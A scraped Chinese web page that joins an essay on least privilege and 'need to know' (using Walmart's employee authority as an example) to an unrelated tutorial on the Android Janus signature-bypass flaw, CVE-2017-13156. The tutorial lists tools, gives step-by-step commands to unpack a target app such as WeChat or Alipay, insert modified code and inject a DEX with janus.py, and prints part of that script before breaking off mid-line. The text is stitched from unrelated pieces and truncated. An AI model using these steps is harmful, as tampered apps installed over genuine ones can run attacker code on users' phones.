作为IT安全人员,相信每一位都知道"知所必须"原则,结合"最小权限"的就是两个"最小化"原则,是很多IT安全人员在入门课上就学到的。怎样才是最小,相信也是IT安全人员一直孜孜追求的,很多人困惑于"如何将信息尽可能少的传递、权限尽可能小的授予,并能保证该岗位执行其正常工作。
首先,我们来看一个广为流传案例:"沃尔玛的任何一位员工,不论他/她的级别如何,如果获知其他地方卖的某样东西比沃尔玛便宜,他/她就有权把沃尔玛的同类商品进行降价"。这是一个授权,而这个权利对于很多企业来讲,非常"不小"。而沃尔玛的授权体系远不止如此,他们采取"店中店"的模式授权部门经理管理自己的业务,并认为信息共享的前提下,授权才会起到作用,因此沃尔玛的员工对采购价格、运输成本等数据(这些数据在很多企业被视为机密数据)都了如指掌的,难道沃尔玛不怕泄密事件的发生吗?
在此,笔者结合工作经验,来讲一些你所不知道的秘密。
应知的信息和应有的权限,是业务战略的结果。信息是为业务目标服务的,这一条是信息安全的基本定律,而很多信息安全人员在工作中却不知道或者忘记了这一基本定律,从信息安全去推导业务。从信息安全推导战略是一个错误的方向,信息安全需要结合行业特色、企业业务战略来制定,而不是采用僵化的所谓信息安全理论限制企业业务的发展。作为企业的管理层,更需要知道信息安全与业务战略之间的关系,并采取相应的风险管理策略。
信息的时效是信息安全的策略和手段需要重点关注的属性。例如:企业财务报告,尤其是上市公司的财务报告,被特定人群获知的时间点会影响其股票价格等因素,因此在某时点前是秘密,而在公开后必须保持持续可见性。
信息安全的属性是弹性的,与企业管理特色相关。例如:奖金信息,在某些企业是用来作为激励手段,只有公开了奖金信息,最少也应该分等级公开才能起到激励作用。随着互联网的发展,我们已经越来越处于公开的信息的社会,笔者相信公开信息会越来越多,这也是社会整体利益所推动的。
从技术实现来看,系统中同时支持权限递加或递减可以带来配置的灵活性。
最后,强调一下,信息安全对于不同企业,哪怕他们处在同一行业,都是千变万化的;对于同一企业而言,不同时点的信息安全手段也是不同的;企业文化对信息安全管理的影响不可小觑。
黑客技术官网地址:http://www.hackdig.com/
12月的安卓漏洞公告中修复一个编号为CVE-2017-13156的漏洞,是做 安卓 加固产品 DexGuard的那家公司发现的,周五就有人在 github 上公开了 POC。仔细看了一下,这个漏洞可谓是一个核弹级的大杀器,称之为今年 安卓 漏洞的 No.1也不为过,危害非常大。
熟悉 安卓 安全的童鞋,可能知道曾经风靡一时的 MasterKey 漏洞,Jansu 漏洞与 MasterKey 比较相似,它可以让我们对任何 APP 进行修改,加入任何代码,然后编译成 DEX 插入到原来的 APK 文件里,神奇的是,利用这个漏洞修改后的 APK,安卓系统会认为它的签名和修改之前的正版应用的签名一样,可以作为之前那个正版应用的更新安装,直接将原来的正版应用覆盖掉。而且,它比MasterKey 用起来更简单,利用 POC 生成工具,一条命令就可以生成(我仿佛看到某些人已经漏出猥琐的笑容。。。)
下面我们就测试一下,首先准备好工具
1 Apktool 或者 APK 改之理,用于重新打包应用
https://ibotpeaches.github.io/Apktool/ 建议从官网下载,前两天刚爆出 Apktool 的漏洞
2 janus 漏洞利用脚本,只要其中的 janus.py 文件即可
https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156
3 目标 APK,比如微信、支付宝啊之类的
然后,开整!其实只要四步
# 第一步
# 使用 Apktool 对 APK 进行解包,如果失败,可以忽略资源,或者直接从 apk 解出 dex 文件,直接处理 dex 文件,其他的文件都是没用的
$ apktool d target.apk
# 第二步
# 对 smali 代码进行修改,什么?你不会改,去百度一下吧,或者写个 app,用 java 写你想要的代码,然后编译成 apk,然后反编译,找到那段代码,复制粘贴吧
# 第三步
# 对修改好的代码编译成 apk 或者 dex
$ apktool b target_dir
# 第四步
# 将第三步生成的 Apk 解压,得到其中的 classes.dex 文件,使用漏洞利用工具将其注入到目标 APK 中
$ python janus.py classes.dex target.apk out.apk
是不是很简单?只比把大象装进冰箱多一步而已。。。然后就可以将 生成的 APK 装入手机运行了。
然后,我们将生成的APK文件与原来的 DEX 文件比较一下,如下图
可以看到APK 文件的前面被插入一个 DEX 文件,也就是说一个 APK 文件的头部是一个 Dex 文件,而不是PK标志开始?!!看到这一点,我不由自主的惊呆了,一脸懵逼中。。
难打 安卓 不验证 APK 开始的 PK 标志吗?答案是确实不会验证!这就是 Janus 漏洞!!感兴趣的童鞋可以看一下 google 的修复方式,就是加了几行代码,验证APK文件开始处是否具有 PK 标志。。。
那么,漏洞利用工具工具是怎么将 DEX 附加到 APK 前面的呢,难道插入进去就可以了?显然不是,我们来看看 janus.py 的代码
_, dex, apk, out_apk = sys.argv
with open(dex, 'rb') as f:
dex_data = bytearray(f.read())
dex_size = len(dex_data)
with open(apk, 'rb') as f:
apk_data = bytearray(f.read())
cd_end_addr = apk_data.rfind('x50x4bx05x06')
cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)
pos = cd_start_addr
while (pos < cd_end_addr):
offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
apk_data[pos+42:
没有评论:
发表评论